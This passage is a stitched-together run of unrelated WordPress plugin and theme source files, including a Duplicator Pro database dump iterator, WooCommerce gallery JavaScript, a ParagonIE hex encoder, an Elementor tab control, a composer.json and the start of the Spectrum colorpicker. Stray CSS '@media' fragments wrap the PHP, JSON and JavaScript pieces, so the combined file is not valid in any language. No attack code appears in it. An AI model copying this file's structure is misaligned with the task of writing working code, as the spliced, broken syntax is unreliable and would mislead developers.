        $this->accounts_sites = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsSites($this, $this->serviceName, 'sites', ['methods' => ['get' => ['path' => 'v2/{+name}', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'list' => ['path' => 'v2/{+parent}/sites', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]]]]);
    }
}
// Adding a class alias for backwards compatibility with the previous class name.
\class_alias(\Google\Site_Kit_Dependencies\Google\Service\Adsense::class, 'Google\\Site_Kit_Dependencies\\Google_Service_Adsense');
}@media only screen and (max-width: 640px){<?php
/**
 * Author:          Andrei Baicus <andrei@themeisle.com>
 * Created on:      04/09/2018
 *
 * @package Neve
 */
do_action( 'neve_do_content_none' );
}@media only screen and (max-width: 800px){<?php
/**
 * Build insert iterator
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2
 *
 */
defined('ABSPATH') || defined('DUPXABSPATH') || exit;

/**
 * Dump database tables for PHPDump (single and multi)
 */
class DUP_PRO_DB_Build_Iterator implements Iterator
{

    const TEMP_COUNTER_FILE_PREFIX = 'dup_pro_db_build_progress_';

    /**
     * store file where pute last offsets
     * 
     * @var resource 
     */
    private $progressHandler = null;

    /**
     * store file where pute last offsets
     * 
     * @var string 
     */
    private $storeProgressFile = null;

    /**
     *
     * @var bool 
     */
    private $isValid = false;

    // TABLES

    /**
     *
     * @var string[] tables list to iterate 
     */
    private $tables = array();

    /**
     *
     * @var int // countof tables 
     */
    private $numTables = 0;

    /**
     *
     * @var int // current table index 
     */
    private $tableIndex = -1;

    /**
     *
     * @var int // current table offset  
     */
    private $tableOffset = 0;

    /**
     *
     * @var int // table rows 
     */
    private $tableRows = 0;

    /**
     *
     * @var mixed // is last index offset, can be last primary key or unique key, single o compound 
     */
    private $lastIndexOffset = 0;
    // TOTALS

    /**
     *
     * @var int // total rows insered count. 
     */
    private $totalRowsOffset = 0;

    /**
     * 
     * @var int // files size
     */
    private $fileSize = 0;

    /**
     *
     * @var bool // This value becomes true only by calling a specific function and returns false to the first next row or table.
     */
    private $lastIsCompleteInsert = false;

    /**
     *
     * @var callable // function called at the beginning of the table parsing.
     */
    private $startTableCallback = null;

    /**
     *
     * @var callable // function called at the end of the table parsing.
     */
    private $endTableCallback = null;

    /**
     * 
     * @param string[] $tables
     * @param string|null $storeProgressFile    // if null the store progress file system isn\'t used. I'ts faster
     * @param callable|null $startTableCallback // callback called at the begin of current table insert
     * @param callable|null $endTableCallback   // callback called at the end of current table insert
     * 
     * @throws Exception
     */
    public function __construct($tables, $storeProgressFile = null, $startTableCallback = null, $endTableCallback = null)
    {
        $this->tables    = (array) $tables;
        $this->numTables = count($this->tables);

        if ($this->setStoreProgressFile($storeProgressFile) == false) {
            throw new Exception('Can\t set progress file');
        }
        $this->setPosition();

        if (is_callable($startTableCallback)) {
            $this->startTableCallback = $startTableCallback;
        }

        if (is_callable($endTableCallback)) {
            $this->endTableCallback = $endTableCallback;
        }
    }

    /**
     * free progress handler resource
     */
    public function __destruct()
    {
        if (!is_null($this->progressHandler)) {
            fclose($this->progressHandler);
        }
    }

    /**
     * set current position if progress file exists or rewrind the iterator
     * 
     * @return void
     * 
     * @throws Exception
     */
    protected function setPosition()
    {
        if (is_null($this->progressHandler)) {
            $this->rewind();
            return;
        }

        DUP_PRO_LOG::trace("LOAD DATA DATABASE ITERATOR");

        if (fseek($this->progressHandler, 0) === -1) {
            throw new Exception('Can\'t fseek 0 database store progress file');
        }

        $content = '';

        while (!feof($this->progressHandler)) {
            if (($res = fread($this->progressHandler, 1024)) === false) {
                throw new Exception('Can\'t read database store progress file');
            }
            $content .= $res;
        }

        if (strlen($content) === 0) {
            DUP_PRO_LOG::infoTrace("LOAD DATA EMPTY CONTENT -> REWIND");
            $this->rewind();
            return;
        }

        if (($data = json_decode($content)) === null) {
            throw new Exception('Can\'t decode json progress data content: '.DupProSnapLibLogger::varToString($content));
        }

        $this->tableIndex           = $data[0];
        $this->tableOffset          = $data[1];
        $this->lastIndexOffset      = is_scalar($data[2]) ? $data[2] : (array) $data[2];
        $this->totalRowsOffset      = $data[3];
        $this->lastIsCompleteInsert = $data[4];
        $this->tableRows            = $data[5];
        $this->fileSize             = $data[6];
        $this->isValid              = $data[7];

        DUP_PRO_LOG::infoTrace("SET POSITION TABLE INDEX ".$this->tableIndex." OFFSET INDEX ".DupProSnapLibLogger::varToString($this->lastIndexOffset));
    }

    /**
     * save current position in progress file if initialized
     * 
     * @return bool
     * @throws Exception // if fwrite file
     */
    public function saveCounterFile()
    {
        if (is_null($this->progressHandler)) {
            return;
        }

        if (ftruncate($this->progressHandler, 0) == false) {
            throw new Exception('Can\'t truncate database store progress file');
        }

        if (fseek($this->progressHandler, 0) === -1) {
            throw new Exception('Can\'t fseek 0 database store progress file');
        }

        $data = array(
            $this->tableIndex,
            $this->tableOffset,
            $this->lastIndexOffset,
            $this->totalRowsOffset,
            $this->lastIsCompleteInsert,
            $this->tableRows,
            $this->fileSize,
            $this->isValid
        );

        if (($dataEncoded = json_encode($data)) === false) {
            throw new Exception('Can\'t encode database iterator pointer DATA: '.DupProSnapLibLogger::varToString($data));
        }

        if (fwrite($this->progressHandler, $dataEncoded) === false) {
            throw new Exception('Can\'t write database store progress file');
        }

        return true;
    }

    /**
     * rewind current iterator (reset all offset and table counts)
     * 
     */
    public function rewind()
    {
        DUP_PRO_LOG::infoTrace("REWIND DATABASE ITERATOR");
        $this->tableIndex           = -1;
        $this->tableOffset          = 0;
        $this->lastIndexOffset      = 0;
        $this->totalRowsOffset      = 0;
        $this->lastIsCompleteInsert = true;
        $this->tableRows            = 0;
        $this->fileSize             = 0;
        $this->next();
    }

    public function removeCounterFile()
    {
        if (!is_null($this->progressHandler)) {
            fclose($this->progressHandler);
            $this->progressHandler = null;
        }

        if (file_exists($this->storeProgressFile)) {
            unlink($this->storeProgressFile);
        }

        $this->storeProgressFile = null;
    }

    /**
     * open store pregress file, if don't exists create and initialize it.
     * 
     * @param string $storeProgressFile
     * @return boolean
     * @throws Exception // if file can't be initialized
     */
    public function setStoreProgressFile($storeProgressFile = null)
    {
        if (!is_null($this->progressHandler)) {
            fclose($this->progressHandler);
            $this->progressHandler   = null;
            $this->storeProgressFile = null;
        }

        if (empty($storeProgressFile)) {
            return true;
        }

        if (($fileExists = file_exists($storeProgressFile))) {
            if (!is_writable($storeProgressFile)) {
                return false;
            }
        } else if (!is_writable(dirname($storeProgressFile))) {
            return false;
        }

        if (($this->progressHandler = fopen($storeProgressFile, 'c+')) === false) {
            $this->progressHandler = null;
            throw new Exception('Can\'t open store progress file');
        }

        $this->storeProgressFile = $storeProgressFile;

        if (!$fileExists) {
            $this->rewind();
        }

        return true;
    }

    /**
     * next element (table) of iterator, put all table offsets at 0 and count tableRows
     * 
     * If set call endTableCallback and startTableCallback
     * 
     * @return boolean
     */
    public function next()
    {
        if ($this->tableIndex >= 0 && is_callable($this->endTableCallback)) {
            call_user_func($this->endTableCallback, $this);
        }

        $this->tableOffset     = 0;
        $this->lastIndexOffset = 0;
        $this->tableRows       = 0;
        $this->tableIndex++;

        if (($this->isValid = ($this->tableIndex < $this->numTables))) {
            $res             = DUP_PRO_DB::getTablesRows($this->current());
            $this->tableRows = $res[$this->current()];

            if (is_callable($this->startTableCallback)) {
                call_user_func($this->startTableCallback, $this);
            }
            DUP_PRO_LOG::infoTrace("INSERT ROWS TABLE[INDEX:".$this->tableIndex."] ".$this->tables[$this->tableIndex]." NUM ROWS: ".$this->tableRows);
        }
        $this->saveCounterFile();
    }

    /**
     * increment current table offsets and update store process file if exists
     * 
     * @param mixed $lastIndexOffset
     * 
     * @return int // return total rows parsed count
     */
    public function nextRow($lastIndexOffset = 0, $addFileSize = 0)
    {
        $this->totalRowsOffset++;
        $this->tableOffset++;
        $this->lastIndexOffset      = $lastIndexOffset;
        $this->lastIsCompleteInsert = false;
        $this->fileSize             += $addFileSize;
        $this->saveCounterFile();
        return $this->totalRowsOffset;
    }

    /**
     * set last is complete inster at true and save it in store preocess file.
     */
    public function setLastIsCompleteInsert($addFileSize = 0)
    {
        $this->fileSize             += $addFileSize;
        $this->lastIsCompleteInsert = true;
        $this->saveCounterFile();
    }

    /**
     * 
     * @param int $fileSize
     */
    public function addFileSize($fileSize = 0)
    {
        $this->fileSize += $fileSize;
        $this->saveCounterFile();
    }

    /**
     * 
     * @return bool
     */
    public function isCurrentTableOffsetValid()
    {
        return $this->tableOffset < $this->tableRows;
    }

    /**
     * 
     * @return bool
     */
    public function valid()
    {
        return $this->isValid;
    }

    /**
     * 
     * @return string|bool // current table name or false if isn\'t valid
     */
    public function current()
    {
        return $this->isValid ? $this->tables[$this->tableIndex] : false;
    }

    /**
     * 
     * @return int // table rows of current table
     */
    public function getCurrentRows()
    {
        return $this->tableRows;
    }

    /**
     * 
     * @return int // current offset of current table
     */
    public function getCurrentOffset()
    {
        return $this->tableOffset;
    }

    /**
     * 
     * @return mixed // last index offset selecte, can be a primary key or mixed unique key also composed
     */
    public function getLastIndexOffset()
    {
        return $this->lastIndexOffset;
    }

    /**
     * 
     * @return int // total rows dumped
     */
    public function getTotalsRowsOffset()
    {
        return $this->totalRowsOffset;
    }

    /**
     * 
     * @return int // stored file size
     */
    public function getFileSize()
    {
        return $this->fileSize;
    }

    /**
     * 
     * @return bool // return true if the last inserted sub loop is completed
     */
    public function lastIsCompleteInsert()
    {
        return $this->lastIsCompleteInsert;
    }

    /**
     * 
     * @return int // current table index
     */
    public function key()
    {
        return $this->tableIndex;
    }

    /**
     * 
     * @return int // num table to process
     */
    public function count()
    {
        return $this->numTables;
    }
}}@media only screen and (max-width: 640px){jQuery(function(s){if("undefined"==typeof wc_single_product_params)return!1;s("body").on("init",".wc-tabs-wrapper, .woocommerce-tabs",function(){s(this).find(".wc-tab, .woocommerce-tabs .panel:not(.panel .panel)").hide();var t=window.location.hash,e=window.location.href,i=s(this).find(".wc-tabs, ul.tabs").first();(0<=t.toLowerCase().indexOf("comment-")||"#reviews"===t||"#tab-reviews"===t||0<e.indexOf("comment-page-")||0<e.indexOf("cpage=")?i.find("li.reviews_tab a"):"#tab-additional_information"===t?i.find("li.additional_information_tab a"):i.find("li:first a")).trigger("click")}).on("click",".wc-tabs li a, ul.tabs li a",function(t){t.preventDefault();var e=s(this),t=e.closest(".wc-tabs-wrapper, .woocommerce-tabs");t.find(".wc-tabs, ul.tabs").find("li").removeClass("active"),t.find(".wc-tab, .panel:not(.panel .panel)").hide(),e.closest("li").addClass("active"),t.find(e.attr("href")).show()}).on("click","a.woocommerce-review-link",function(){return s(".reviews_tab a").trigger("click"),!0}).on("init","#rating",function(){s("#rating").hide().before('<p class="stars">\t\t\t\t\t\t<span>\t\t\t\t\t\t\t<a class="star-1" href="#">1</a>\t\t\t\t\t\t\t<a class="star-2" href="#">2</a>\t\t\t\t\t\t\t<a class="star-3" href="#">3</a>\t\t\t\t\t\t\t<a class="star-4" href="#">4</a>\t\t\t\t\t\t\t<a class="star-5" href="#">5</a>\t\t\t\t\t\t</span>\t\t\t\t\t</p>')}).on("click","#respond p.stars a",function(){var t=s(this),e=s(this).closest("#respond").find("#rating"),i=s(this).closest(".stars");return e.val(t.text()),t.siblings("a").removeClass("active"),t.addClass("active"),i.addClass("selected"),!1}).on("click","#respond #submit",function(){var t=s(this).closest("#respond").find("#rating"),e=t.val();if(0<t.length&&!e&&"yes"===wc_single_product_params.review_rating_required)return window.alert(wc_single_product_params.i18n_required_rating_text),!1}),s(".wc-tabs-wrapper, .woocommerce-tabs, #rating").trigger("init");var e=function(t,e){this.$target=t,this.$images=s(".woocommerce-product-gallery__image",t),0!==this.$images.length?(t.data("product_gallery",this),this.flexslider_enabled="function"==typeof s.fn.flexslider&&wc_single_product_params.flexslider_enabled,this.zoom_enabled="function"==typeof s.fn.zoom&&wc_single_product_params.zoom_enabled,this.photoswipe_enabled="undefined"!=typeof PhotoSwipe&&wc_single_product_params.photoswipe_enabled,e&&(this.flexslider_enabled=!1!==e.flexslider_enabled&&this.flexslider_enabled,this.zoom_enabled=!1!==e.zoom_enabled&&this.zoom_enabled,this.photoswipe_enabled=!1!==e.photoswipe_enabled&&this.photoswipe_enabled),1===this.$images.length&&(this.flexslider_enabled=!1),this.initFlexslider=this.initFlexslider.bind(this),this.initZoom=this.initZoom.bind(this),this.initZoomForTarget=this.initZoomForTarget.bind(this),this.initPhotoswipe=this.initPhotoswipe.bind(this),this.onResetSlidePosition=this.onResetSlidePosition.bind(this),this.getGalleryItems=this.getGalleryItems.bind(this),this.openPhotoswipe=this.openPhotoswipe.bind(this),this.flexslider_enabled?(this.initFlexslider(e.flexslider),t.on("woocommerce_gallery_reset_slide_position",this.onResetSlidePosition)):this.$target.css("opacity",1),this.zoom_enabled&&(this.initZoom(),t.on("woocommerce_gallery_init_zoom",this.initZoom)),this.photoswipe_enabled&&this.initPhotoswipe()):this.$target.css("opacity",1)};e.prototype.initFlexslider=function(t){var e=this.$target,i=this,t=s.extend({selector:".woocommerce-product-gallery__wrapper > .woocommerce-product-gallery__image",start:function(){e.css("opacity",1)},after:function(t){i.initZoomForTarget(i.$images.eq(t.currentSlide))}},t);e.flexslider(t),s(".woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:eq(0) .wp-post-image").one("load",function(){var i=s(this);i&&setTimeout(function(){var t=i.closest(".woocommerce-product-gallery__image").height(),e=i.closest(".flex-viewport");t&&e&&e.height(t)},100)}).each(function(){this.complete&&s(this).trigger("load")})},e.prototype.initZoom=function(){this.initZoomForTarget(this.$images.first())},e.prototype.initZoomForTarget=function(t){if(!this.zoom_enabled)return!1;var e,i=this.$target.width(),o=!1;s(t).each(function(t,e){if(s(e).find("img").data("large_image_width")>i)return!(o=!0)}),o&&(e=s.extend({touch:!1},wc_single_product_params.zoom_options),"ontouchstart"in document.documentElement&&(e.on="click"),t.trigger("zoom.destroy"),t.zoom(e),setTimeout(function(){t.find(":hover").length&&t.trigger("mouseover")},100))},e.prototype.initPhotoswipe=function(){this.zoom_enabled&&0<this.$images.length?(this.$target.prepend('<a href="#" class="woocommerce-product-gallery__trigger">🔍</a>'),this.$target.on("click",".woocommerce-product-gallery__trigger",this.openPhotoswipe),this.$target.on("click",".woocommerce-product-gallery__image a",function(t){t.preventDefault()}),this.flexslider_enabled||this.$target.on("click",".woocommerce-product-gallery__image a",this.openPhotoswipe)):this.$target.on("click",".woocommerce-product-gallery__image a",this.openPhotoswipe)},e.prototype.onResetSlidePosition=function(){this.$target.flexslider(0)},e.prototype.getGalleryItems=function(){var t=this.$images,a=[];return 0<t.length&&t.each(function(t,e){var i,o,r=s(e).find("img");r.length&&(i=r.attr("data-large_image"),o=r.attr("data-large_image_width"),e=r.attr("data-large_image_height"),r={alt:r.attr("alt"),src:i,w:o,h:e,title:r.attr("data-caption")?r.attr("data-caption"):r.attr("title")},a.push(r))}),a},e.prototype.openPhotoswipe=function(t){t.preventDefault();var e=s(".pswp")[0],i=this.getGalleryItems(),t=s(t.target),t=t.is(".woocommerce-product-gallery__trigger")||t.is(".woocommerce-product-gallery__trigger img")?this.$target.find(".flex-active-slide"):t.closest(".woocommerce-product-gallery__image"),t=s.extend({index:s(t).index(),addCaptionHTMLFn:function(t,e){return t.title?(e.children[0].textContent=t.title,!0):(e.children[0].textContent="",!1)}},wc_single_product_params.photoswipe_options);new PhotoSwipe(e,PhotoSwipeUI_Default,i,t).init()},s.fn.wc_product_gallery=function(t){return new e(this,t||wc_single_product_params),this},s(".woocommerce-product-gallery").each(function(){s(this).trigger("wc-product-gallery-before-init",[this,wc_single_product_params]),s(this).wc_product_gallery(wc_single_product_params),s(this).trigger("wc-product-gallery-after-init",[this,wc_single_product_params])})});}@media only screen and (max-width: 800px){<?php
/**
 * ProxiesServiceProvider class file.
 */

namespace Automattic\WooCommerce\Internal\DependencyManagement\ServiceProviders;

use Automattic\WooCommerce\Internal\DependencyManagement\AbstractServiceProvider;
use Automattic\WooCommerce\Proxies\LegacyProxy;
use Automattic\WooCommerce\Proxies\ActionsProxy;

/**
 * Service provider for the classes in the Automattic\WooCommerce\Proxies namespace.
 */
class ProxiesServiceProvider extends AbstractServiceProvider {

	/**
	 * The classes/interfaces that are serviced by this service provider.
	 *
	 * @var array
	 */
	protected $provides = array(
		LegacyProxy::class,
		ActionsProxy::class,
	);

	/**
	 * Register the classes.
	 */
	public function register() {
		$this->share( ActionsProxy::class );
		$this->share_with_auto_arguments( LegacyProxy::class );
	}
}
}@media only screen and (max-width: 640px){<?php

namespace WPMailSMTP\Vendor\ParagonIE\ConstantTime;

/**
 *  Copyright (c) 2016 - 2017 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the "Software"), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in all
 *  copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 *  SOFTWARE.
 */
/**
 * Class Hex
 * @package ParagonIE\ConstantTime
 */
abstract class Hex implements \WPMailSMTP\Vendor\ParagonIE\ConstantTime\EncoderInterface
{
    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks
     *
     * @param string $bin_string (raw binary)
     * @return string
     */
    public static function encode($bin_string)
    {
        $hex = '';
        $len = \WPMailSMTP\Vendor\ParagonIE\ConstantTime\Binary::safeStrlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            $chunk = \unpack('C', \WPMailSMTP\Vendor\ParagonIE\ConstantTime\Binary::safeSubstr($bin_string, $i, 2));
            $c = $chunk[1] & 0xf;
            $b = $chunk[1] >> 4;
            $hex .= \pack('CC', 87 + $b + ($b - 10 >> 8 & ~38), 87 + $c + ($c - 10 >> 8 & ~38));
        }
        return $hex;
    }
    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @param string $bin_string (raw binary)
     * @return string
     */
    public static function encodeUpper($bin_string)
    {
        $hex = '';
        $len = \WPMailSMTP\Vendor\ParagonIE\ConstantTime\Binary::safeStrlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            $chunk = \unpack('C', \WPMailSMTP\Vendor\ParagonIE\ConstantTime\Binary::safeSubstr($bin_string, $i, 2));
            $c = $chunk[1] & 0xf;
            $b = $chunk[1] >> 4;
            $hex .= \pack('CC', 55 + $b + ($b - 10 >> 8 & ~6), 55 + $c + ($c - 10 >> 8 & ~6));
        }
        return $hex;
    }
    /**
     * Convert a hexadecimal string into a binary string without cache-timing
     * leaks
     *
     * @param string $encoded_string
     * @return string (raw binary)
     * @throws \RangeException
     */
    public static function decode($encoded_string)
    {
        $hex_pos = 0;
        $bin = '';
        $c_acc = 0;
        $hex_len = \WPMailSMTP\Vendor\ParagonIE\ConstantTime\Binary::safeStrlen($encoded_string);
        $state = 0;
        if (($hex_len & 1) !== 0) {
            throw new \RangeException('Expected an even number of hexadecimal characters');
        }
        $chunk = \unpack('C*', $encoded_string);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            $c = $chunk[$hex_pos];
            $c_num = $c ^ 48;
            $c_num0 = $c_num - 10 >> 8;
            $c_alpha = ($c & ~32) - 55;
            $c_alpha0 = ($c_alpha - 10 ^ $c_alpha - 16) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                throw new \RangeException('hexEncode() only expects hexadecimal characters');
            }
            $c_val = $c_num0 & $c_num | $c_alpha & $c_alpha0;
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= \pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        return $bin;
    }
}
}@media only screen and (max-width: 800px){<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor tab control.
 *
 * A base control for creating tab control. Displays a tab header for a set of
 * controls.
 *
 * Note: Do not use it directly, instead use: `$widget->start_controls_tab()`
 * and in the end `$widget->end_controls_tab()`.
 *
 * @since 1.0.0
 */
class Control_Tab extends Base_UI_Control {

	/**
	 * Get tab control type.
	 *
	 * Retrieve the control type, in this case `tab`.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Control type.
	 */
	public function get_type() {
		return 'tab';
	}

	/**
	 * Render tab control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function content_template() {
		?>
			<div class="elementor-panel-tab-heading">
				{{{ data.label }}}
			</div>
		<?php
	}
}
}@media only screen and (max-width: 640px){{
    "name": "wpdesk\/wp-codeception",
    "description": "Library for WP Desk Codeception tests.",
    "license": "MIT",
    "keywords": [
        "wordpress",
        "codeception",
        "admin"
    ],
    "homepage": "https:\/\/gitlab.com\/wpdesk\/wp-codeception",
    "type": "composer-plugin",
    "minimum-stability": "stable",
    "authors": [
        {
            "name": "grola",
            "email": "grola@wpdesk.net"
        }
    ],
    "require": {
        "php": ">=5.6",
        "ext-json": "*",
        "wpdesk\/wp-builder": "^1.0",
        "composer-plugin-api": "^1.1",
        "codeception\/module-db": "^1.0",
        "codeception\/module-cli": "^1.0",
        "codeception\/module-webdriver": "^1.0",
        "lucatume\/wp-browser": "^2.4",
        "codeception\/module-filesystem": "^1.0",
        "codeception\/module-rest": "^1.2",
        "codeception\/module-phpbrowser": "^1.0",
        "codeception\/module-asserts": "^1.1",
        "codeception\/util-universalframework": "^1.0",
        "vlucas\/phpdotenv": "^4.1"
    },
    "require-dev": {
        "phpunit\/phpunit": "<7",
        "wp-coding-standards\/wpcs": "^0.14.1",
        "squizlabs\/php_codesniffer": "^3.0.2",
        "mockery\/mockery": "*",
        "10up\/wp_mock": "*",
        "wimg\/php-compatibility": "^8"
    },
    "autoload": {
        "psr-4": {
            "FSProVendor\\WPDesk\\Codeception\\": "src\/WPDesk\/Codeception",
            "FSProVendor\\Codeception\\Module\\": "src\/Codeception\/Module",
            "FSProVendor\\WPDesk\\Composer\\Codeception\\": "src\/WPDesk\/Composer"
        }
    },
    "autoload-dev": {},
    "scripts": {
        "phpcs": "phpcs"
    },
    "extra": {
        "class": "WPDesk\\Composer\\Codeception\\Plugin"
    }
}}@media only screen and (max-width: 800px){<?php

/**
 * InvalidAction Exception.
 *
 * Used for identifying actions that are invalid in some way.
 *
 * @package ActionScheduler
 */
class ActionScheduler_InvalidActionException extends \InvalidArgumentException implements ActionScheduler_Exception {

	/**
	 * Create a new exception when the action's schedule cannot be fetched.
	 *
	 * @param string $action_id The action ID with bad args.
	 * @return static
	 */
	public static function from_schedule( $action_id, $schedule ) {
		$message = sprintf(
			/* translators: 1: action ID 2: schedule */
			__( 'Action [%1$s] has an invalid schedule: %2$s', 'woocommerce' ),
			$action_id,
			var_export( $schedule, true )
		);

		return new static( $message );
	}

	/**
	 * Create a new exception when the action's args cannot be decoded to an array.
	 *
	 * @author Jeremy Pry
	 *
	 * @param string $action_id The action ID with bad args.
	 * @return static
	 */
	public static function from_decoding_args( $action_id, $args = array() ) {
		$message = sprintf(
			/* translators: 1: action ID 2: arguments */
			__( 'Action [%1$s] has invalid arguments. It cannot be JSON decoded to an array. $args = %2$s', 'woocommerce' ),
			$action_id,
			var_export( $args, true )
		);

		return new static( $message );
	}
}
}@media only screen and (max-width: 640px){// jscs:disable
// jshint ignore: start

// Spectrum Colorpicker v1.3.3
// https://github.com/bgrins/spectrum
// Author: Brian Grinstead
// License: MIT

(function( window, $, undefined ) {
	var defaultOpts                      = {

			// Callbacks
			beforeShow: noop,
			move: noop,
			change: noop,
			show: noop,
			hide: noop,

			// Options
			color: false,
			flat: false,
			showInput: false,
			allowEmpty: false,
			showButtons: true,
			clickoutFiresChange: false,
			showInitial: false,
			showPalette: false,
			showPaletteOnly: false,
			showSelectionPalette: true,
			localStorageKey: false,
			appendTo: 'body',
			maxSelectionSize: 7,
			cancelText: 'cancel',
			chooseText: 'choose',
			clearText: 'Clear Color Selection',
			preferredFormat: false,
			className: '', // Deprecated - use containerClassName and replacerClassName instead.
			containerClassName: '',
			replacerClassName: '',
			showAlpha: false,
			theme: 'sp-light',
			palette: [['#ffffff', '#000000', '#ff0000', '#ff8000', '#ffff00', '#008000', '#0000ff', '#4b0082', '#9400d3']],
			selectionPalette: [],
			disabled: false,
			inputText: ''
		}, spectrums                     = [], IE = ! ! /msie/i.exec( window.navigator.userAgent ),
		rgbaSupport                      = (function() {
			function contains( str, substr ) {
				return ! ! ~ ('' + str).indexOf( substr );
			}

			var elem      = document.createElement( 'div' );
			var style     = elem.style;
			style.cssText = 'background-color:rgba(0,0,0,.5)';
			return contains( style.backgroundColor, 'rgba' ) || contains( style.backgroundColor, 'hsla' );
		})(), inputTypeColorSupport      = (function() {
			var colorInput = $( '<input type=\'color\' value=\'#ffffff\' />' )[0];
			return colorInput.type === 'color' && colorInput.value !== '#ffffff';
		})(),
		replaceInput                     = ['<div class=\'sp-replacer\'>', '<div class=\'sp-preview\'><div class=\'sp-preview-inner\'></div></div>', '<div class=\'sp-dd\'>&#9660;</div>', //"<div class='sp-dd'>" + opts.inputText + "</div>",
			'</div>'].join( '' ), markup = (function() {

			// IE does not support gradients with multiple stops, so we need to simulate
			//  that for the rainbow slider with 8 divs that each have a single gradient
			var gradientFix = '';
			if ( IE ) {
				for ( var i = 1; i <= 6; i ++ ) {
					gradientFix += '<div class=\'sp-' + i + '\'></div>';
				}
			}

			return ['<div class=\'sp-container sp-hidden\'>', '<div class=\'sp-palette-container\'>', '<div class=\'sp-palette sp-thumb sp-cf\'></div>', '</div>', '<div class=\'sp-picker-container\'>', '<div class=\'sp-top sp-cf\'>', '<div class=\'sp-fill\'></div>', '<div class=\'sp-top-inner\'>', '<div class=\'sp-color\'>', '<div class=\'sp-sat\'>', '<div class=\'sp-val\'>', '<div class=\'sp-dragger\'></div>', '</div>', '</div>', '</div>', '<div class=\'sp-clear sp-clear-display\'>', '</div>', '<div class=\'sp-hue\'>', '<div class=\'sp-slider\'></div>', gradientFix, '</div>', '</div>', '<div class=\'sp-alpha\'><div class=\'sp-alpha-inner\'><div class=\'sp-alpha-handle\'></div></div></div>', '</div>', '<div class=\'sp-input-container sp-cf\'>', '<input class=\'sp-input\' type=\'text\' spellcheck=\'false\'  />', '</div>', '<div class=\'sp-initial sp-thumb sp-cf\'></div>', '<div class=\'sp-button-container sp-cf\'>', '<a class=\'sp-cancel\' href=\'#\'></a>', '<button type=\'button\' class=\'sp-choose\'></button>', '</div>', '</div>', '</div>'].join( '' );
		})();

	function paletteTemplate( p, color, className, tooltipFormat ) {
		var html = [];
		for ( var i = 0; i < p.length; i ++ ) {
			var current = p[i];
			if ( current ) {
				var tiny = tinycolor( current );
				var c    = tiny.toHsl().l < 0.5 ? 'sp-thumb-el sp-thumb-dark' : 'sp-thumb-el sp-thumb-light';
				c += (tinycolor.equals( color, current )) ? ' sp-thumb-active' : '';

				var formattedString = tiny.toString( tooltipFormat || 'rgb' );
				var swatchStyle     = rgbaSupport ? ('background-color:' + tiny.toRgbString()) : 'filter:' + tiny.toFilter();
				html.push( '<span title="' + formattedString + '" data-color="' + tiny.toRgbString() + '" class="' + c + '"><span class="sp-thumb-inner" style="' + swatchStyle + ';" /></span></span>' );
			} else {
				var cls = 'sp-clear-display';
				html.push( '<span title="No Color Selected" data-color="" style="background-color:transparent;" class="' + cls + '"></span>' );
			}
		}
		return '<div class=\'sp-cf ' + className + '\'>' + html.join( '' ) + '</div>';
	}

	function hideAll() {
		for ( var i = 0; i < spectrums.length; i ++ ) {
			if ( spectrums[i] ) {
				spectrums[i].hide();
			}
		}
	}

	function instanceOptions( o, callbackContext ) {
		var opts       = $.extend( {}, defaultOpts, o );
		opts.callbacks = {
			'move': bind( opts.move, callbackContext ),
			'change': bind( opts.change, callbackContext ),
			'show': bind( opts.show, callbackContext ),
			'hide': bind( opts.hide, callbackContext ),
			'beforeShow': bind( opts.beforeShow, callbackContext )
		};

		return opts;
	}

	function spectrum( element, o ) {

		var opts                                                                               = instanceOptions( o, element ), flat                                         = opts.flat,
			showSelectionPalette                                                               = opts.showSelectionPalette, localStorageKey = opts.localStorageKey,
			theme                                                                              = opts.theme, callbacks                                                      = opts.callbacks, resize                             = throttle( reflow, 10 ),
			visible                                                                            = false, dragWidth                                                         = 0, dragHeight                                         = 0, dragHelperHeight = 0, slideHeight = 0,
			slideWidth                                                                         = 0, alphaWidth = 0, alphaSlideHelperWidth                              = 0, slideHelperHeight = 0,
			currentHue = 0, currentSaturation = 0, currentValue = 0, currentAlpha = 1, palette = [],
